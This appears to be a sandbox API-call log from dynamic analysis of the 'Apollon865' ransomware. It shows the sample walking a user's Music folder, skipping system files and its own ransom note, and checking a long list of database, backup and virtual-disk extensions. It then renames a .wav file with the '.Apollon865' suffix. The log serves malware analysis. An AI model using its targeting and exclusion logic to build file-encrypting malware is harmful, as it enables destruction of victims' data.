	[0088.268] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94f36cc0, ftCreationTime.dwHighDateTime=0x1d4ccf2, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30376570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.268] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.268] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.268] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.268] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.268] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7627b40, ftCreationTime.dwHighDateTime=0x1d4c729, ftLastAccessTime.dwLowDateTime=0x340ed9d0, ftLastAccessTime.dwHighDateTime=0x1d4c87e, ftLastWriteTime.dwLowDateTime=0x340ed9d0, ftLastWriteTime.dwHighDateTime=0x1d4c87e, nFileSizeHigh=0x0, nFileSizeLow=0xeaea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG4ICw2Qf.wav", cAlternateFileName="AG4ICW~1.WAV")) returned 1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="Apollon865.txt.exe") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2=".") returned 1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="..") returned 1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="windows") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="bootmgr") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="temp") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="pagefile.sys") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="boot") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="ids.txt") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="ntuser.dat") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="perflogs") returned -1
	[0088.268] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2="MSBuild") returned -1
	[0088.268] lstrlenW (lpString="AG4ICw2Qf.wav") returned 13
	[0088.268] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\*") returned 75
	[0088.268] lstrcpyW (in: lpString1=0x119e69c, lpString2="AG4ICw2Qf.wav" | out: lpString1="AG4ICw2Qf.wav") returned="AG4ICw2Qf.wav"
	[0088.268] lstrlenW (lpString="AG4ICw2Qf.wav") returned 13
	[0088.269] lstrlenW (lpString="Apollon865") returned 10
	[0088.269] lstrcmpiW (lpString1="ICw2Qf.wav", lpString2="Apollon865") returned 1
	[0088.269] lstrlenW (lpString=".dll") returned 4
	[0088.269] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2=".dll") returned 1
	[0088.269] lstrlenW (lpString=".lnk") returned 4
	[0088.269] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2=".lnk") returned 1
	[0088.269] lstrlenW (lpString=".ini") returned 4
	[0088.269] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2=".ini") returned 1
	[0088.269] lstrlenW (lpString=".sys") returned 4
	[0088.269] lstrcmpiW (lpString1="AG4ICw2Qf.wav", lpString2=".sys") returned 1
	[0088.269] lstrlenW (lpString="AG4ICw2Qf.wav") returned 13
	[0088.269] lstrlenW (lpString="bak") returned 3
	[0088.269] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.269] lstrlenW (lpString="ba_") returned 3
	[0088.269] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.269] lstrlenW (lpString="dbb") returned 3
	[0088.269] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.269] lstrlenW (lpString="vmdk") returned 4
	[0088.269] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.269] lstrlenW (lpString="rar") returned 3
	[0088.269] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.269] lstrlenW (lpString="zip") returned 3
	[0088.269] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.269] lstrlenW (lpString="tgz") returned 3
	[0088.269] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.269] lstrlenW (lpString="vbox") returned 4
	[0088.269] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.269] lstrlenW (lpString="vdi") returned 3
	[0088.269] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.269] lstrlenW (lpString="vhd") returned 3
	[0088.269] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.269] lstrlenW (lpString="vhdx") returned 4
	[0088.269] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.269] lstrlenW (lpString="avhd") returned 4
	[0088.269] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.270] lstrlenW (lpString="db") returned 2
	[0088.270] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.270] lstrlenW (lpString="db2") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.270] lstrlenW (lpString="db3") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.270] lstrlenW (lpString="dbf") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.270] lstrlenW (lpString="mdf") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.270] lstrlenW (lpString="mdb") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.270] lstrlenW (lpString="sql") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.270] lstrlenW (lpString="sqlite") returned 6
	[0088.270] lstrcmpiW (lpString1="Qf.wav", lpString2="sqlite") returned -1
	[0088.270] lstrlenW (lpString="sqlite3") returned 7
	[0088.270] lstrcmpiW (lpString1="2Qf.wav", lpString2="sqlite3") returned -1
	[0088.270] lstrlenW (lpString="sqlitedb") returned 8
	[0088.270] lstrcmpiW (lpString1="w2Qf.wav", lpString2="sqlitedb") returned 1
	[0088.270] lstrlenW (lpString="xml") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.270] lstrlenW (lpString="$er") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.270] lstrlenW (lpString="4dd") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.270] lstrlenW (lpString="4dl") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.270] lstrlenW (lpString="^^^") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.270] lstrlenW (lpString="abs") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.270] lstrlenW (lpString="abx") returned 3
	[0088.270] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.270] lstrlenW (lpString="accdb") returned 5
	[0088.271] lstrcmpiW (lpString1="f.wav", lpString2="accdb") returned 1
	[0088.271] lstrlenW (lpString="accdc") returned 5
	[0088.271] lstrcmpiW (lpString1="f.wav", lpString2="accdc") returned 1
	[0088.271] lstrlenW (lpString="accde") returned 5
	[0088.271] lstrcmpiW (lpString1="f.wav", lpString2="accde") returned 1
	[0088.271] lstrlenW (lpString="accdr") returned 5
	[0088.271] lstrcmpiW (lpString1="f.wav", lpString2="accdr") returned 1
	[0088.271] lstrlenW (lpString="accdt") returned 5
	[0088.271] lstrcmpiW (lpString1="f.wav", lpString2="accdt") returned 1
	[0088.271] lstrlenW (lpString="accdw") returned 5
	[0088.271] lstrcmpiW (lpString1="f.wav", lpString2="accdw") returned 1
	[0088.271] lstrlenW (lpString="accft") returned 5
	[0088.271] lstrcmpiW (lpString1="f.wav", lpString2="accft") returned 1
	[0088.271] lstrlenW (lpString="adb") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.271] lstrlenW (lpString="adb") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.271] lstrlenW (lpString="ade") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.271] lstrlenW (lpString="adf") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.271] lstrlenW (lpString="adn") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.271] lstrlenW (lpString="adp") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.271] lstrlenW (lpString="alf") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.271] lstrlenW (lpString="ask") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.271] lstrlenW (lpString="btr") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.271] lstrlenW (lpString="cat") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.271] lstrlenW (lpString="cdb") returned 3
	[0088.271] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.272] lstrlenW (lpString="ckp") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.272] lstrlenW (lpString="cma") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.272] lstrlenW (lpString="cpd") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.272] lstrlenW (lpString="dacpac") returned 6
	[0088.272] lstrcmpiW (lpString1="Qf.wav", lpString2="dacpac") returned 1
	[0088.272] lstrlenW (lpString="dad") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.272] lstrlenW (lpString="dadiagrams") returned 10
	[0088.272] lstrcmpiW (lpString1="ICw2Qf.wav", lpString2="dadiagrams") returned 1
	[0088.272] lstrlenW (lpString="daschema") returned 8
	[0088.272] lstrcmpiW (lpString1="w2Qf.wav", lpString2="daschema") returned 1
	[0088.272] lstrlenW (lpString="db-journal") returned 10
	[0088.272] lstrcmpiW (lpString1="ICw2Qf.wav", lpString2="db-journal") returned 1
	[0088.272] lstrlenW (lpString="db-shm") returned 6
	[0088.272] lstrcmpiW (lpString1="Qf.wav", lpString2="db-shm") returned 1
	[0088.272] lstrlenW (lpString="db-wal") returned 6
	[0088.272] lstrcmpiW (lpString1="Qf.wav", lpString2="db-wal") returned 1
	[0088.272] lstrlenW (lpString="dbc") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.272] lstrlenW (lpString="dbs") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.272] lstrlenW (lpString="dbt") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.272] lstrlenW (lpString="dbv") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.272] lstrlenW (lpString="dbx") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.272] lstrlenW (lpString="dcb") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.272] lstrlenW (lpString="dct") returned 3
	[0088.272] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.272] lstrlenW (lpString="dcx") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.273] lstrlenW (lpString="ddl") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.273] lstrlenW (lpString="dlis") returned 4
	[0088.273] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.273] lstrlenW (lpString="dp1") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.273] lstrlenW (lpString="dqy") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.273] lstrlenW (lpString="dsk") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.273] lstrlenW (lpString="dsn") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.273] lstrlenW (lpString="dtsx") returned 4
	[0088.273] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.273] lstrlenW (lpString="dxl") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.273] lstrlenW (lpString="eco") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.273] lstrlenW (lpString="ecx") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.273] lstrlenW (lpString="edb") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.273] lstrlenW (lpString="epim") returned 4
	[0088.273] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.273] lstrlenW (lpString="fcd") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.273] lstrlenW (lpString="fdb") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.273] lstrlenW (lpString="fic") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.273] lstrlenW (lpString="flexolibrary") returned 12
	[0088.273] lstrcmpiW (lpString1="G4ICw2Qf.wav", lpString2="flexolibrary") returned 1
	[0088.273] lstrlenW (lpString="fm5") returned 3
	[0088.273] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.273] lstrlenW (lpString="fmp") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.274] lstrlenW (lpString="fmp12") returned 5
	[0088.274] lstrcmpiW (lpString1="f.wav", lpString2="fmp12") returned -1
	[0088.274] lstrlenW (lpString="fmpsl") returned 5
	[0088.274] lstrcmpiW (lpString1="f.wav", lpString2="fmpsl") returned -1
	[0088.274] lstrlenW (lpString="fol") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.274] lstrlenW (lpString="fp3") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.274] lstrlenW (lpString="fp4") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.274] lstrlenW (lpString="fp5") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.274] lstrlenW (lpString="fp7") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.274] lstrlenW (lpString="fpt") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.274] lstrlenW (lpString="frm") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.274] lstrlenW (lpString="gdb") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.274] lstrlenW (lpString="gdb") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.274] lstrlenW (lpString="grdb") returned 4
	[0088.274] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.274] lstrlenW (lpString="gwi") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.274] lstrlenW (lpString="hdb") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.274] lstrlenW (lpString="his") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.274] lstrlenW (lpString="ib") returned 2
	[0088.274] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.274] lstrlenW (lpString="idb") returned 3
	[0088.274] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.275] lstrlenW (lpString="ihx") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.275] lstrlenW (lpString="itdb") returned 4
	[0088.275] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.275] lstrlenW (lpString="itw") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.275] lstrlenW (lpString="jet") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.275] lstrlenW (lpString="jtx") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.275] lstrlenW (lpString="kdb") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.275] lstrlenW (lpString="kexi") returned 4
	[0088.275] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.275] lstrlenW (lpString="kexic") returned 5
	[0088.275] lstrcmpiW (lpString1="f.wav", lpString2="kexic") returned -1
	[0088.275] lstrlenW (lpString="kexis") returned 5
	[0088.275] lstrcmpiW (lpString1="f.wav", lpString2="kexis") returned -1
	[0088.275] lstrlenW (lpString="lgc") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.275] lstrlenW (lpString="lwx") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.275] lstrlenW (lpString="maf") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.275] lstrlenW (lpString="maq") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.275] lstrlenW (lpString="mar") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.275] lstrlenW (lpString="marshal") returned 7
	[0088.275] lstrcmpiW (lpString1="2Qf.wav", lpString2="marshal") returned -1
	[0088.275] lstrlenW (lpString="mas") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.275] lstrlenW (lpString="mav") returned 3
	[0088.275] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.275] lstrlenW (lpString="maw") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.276] lstrlenW (lpString="mdbhtml") returned 7
	[0088.276] lstrcmpiW (lpString1="2Qf.wav", lpString2="mdbhtml") returned -1
	[0088.276] lstrlenW (lpString="mdn") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.276] lstrlenW (lpString="mdt") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.276] lstrlenW (lpString="mfd") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.276] lstrlenW (lpString="mpd") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.276] lstrlenW (lpString="mrg") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.276] lstrlenW (lpString="mud") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.276] lstrlenW (lpString="mwb") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.276] lstrlenW (lpString="myd") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.276] lstrlenW (lpString="ndf") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.276] lstrlenW (lpString="nnt") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.276] lstrlenW (lpString="nrmlib") returned 6
	[0088.276] lstrcmpiW (lpString1="Qf.wav", lpString2="nrmlib") returned 1
	[0088.276] lstrlenW (lpString="ns2") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.276] lstrlenW (lpString="ns3") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.276] lstrlenW (lpString="ns4") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.276] lstrlenW (lpString="nsf") returned 3
	[0088.276] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.276] lstrlenW (lpString="nv") returned 2
	[0088.276] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.277] lstrlenW (lpString="nv2") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.277] lstrlenW (lpString="nwdb") returned 4
	[0088.277] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.277] lstrlenW (lpString="nyf") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.277] lstrlenW (lpString="odb") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.277] lstrlenW (lpString="odb") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.277] lstrlenW (lpString="oqy") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.277] lstrlenW (lpString="ora") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.277] lstrlenW (lpString="orx") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.277] lstrlenW (lpString="owc") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.277] lstrlenW (lpString="p96") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.277] lstrlenW (lpString="p97") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.277] lstrlenW (lpString="pan") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.277] lstrlenW (lpString="pdb") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.277] lstrlenW (lpString="pdm") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.277] lstrlenW (lpString="pnz") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.277] lstrlenW (lpString="qry") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.277] lstrlenW (lpString="qvd") returned 3
	[0088.277] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.278] lstrlenW (lpString="rbf") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.278] lstrlenW (lpString="rctd") returned 4
	[0088.278] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.278] lstrlenW (lpString="rod") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.278] lstrlenW (lpString="rodx") returned 4
	[0088.278] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.278] lstrlenW (lpString="rpd") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.278] lstrlenW (lpString="rsd") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.278] lstrlenW (lpString="sas7bdat") returned 8
	[0088.278] lstrcmpiW (lpString1="w2Qf.wav", lpString2="sas7bdat") returned 1
	[0088.278] lstrlenW (lpString="sbf") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.278] lstrlenW (lpString="scx") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.278] lstrlenW (lpString="sdb") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.278] lstrlenW (lpString="sdc") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.278] lstrlenW (lpString="sdf") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.278] lstrlenW (lpString="sis") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.278] lstrlenW (lpString="spq") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.278] lstrlenW (lpString="te") returned 2
	[0088.278] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.278] lstrlenW (lpString="teacher") returned 7
	[0088.278] lstrcmpiW (lpString1="2Qf.wav", lpString2="teacher") returned -1
	[0088.278] lstrlenW (lpString="tmd") returned 3
	[0088.278] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.278] lstrlenW (lpString="tps") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.279] lstrlenW (lpString="trc") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.279] lstrlenW (lpString="trc") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.279] lstrlenW (lpString="trm") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.279] lstrlenW (lpString="udb") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.279] lstrlenW (lpString="udl") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.279] lstrlenW (lpString="usr") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.279] lstrlenW (lpString="v12") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.279] lstrlenW (lpString="vis") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.279] lstrlenW (lpString="vpd") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.279] lstrlenW (lpString="vvv") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.279] lstrlenW (lpString="wdb") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.279] lstrlenW (lpString="wmdb") returned 4
	[0088.279] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.279] lstrlenW (lpString="wrk") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.279] lstrlenW (lpString="xdb") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.279] lstrlenW (lpString="xld") returned 3
	[0088.279] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.279] lstrlenW (lpString="xmlff") returned 5
	[0088.279] lstrcmpiW (lpString1="f.wav", lpString2="xmlff") returned -1
	[0088.279] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\AG4ICw2Qf.wav.Apollon865") returned 98
	[0088.280] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\AG4ICw2Qf.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\sch6vogm3pbemdup0_i\\ag4icw2qf.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\AG4ICw2Qf.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\sch6vogm3pbemdup0_i\\ag4icw2qf.wav.apollon865"), dwFlags=0x1) returned 1
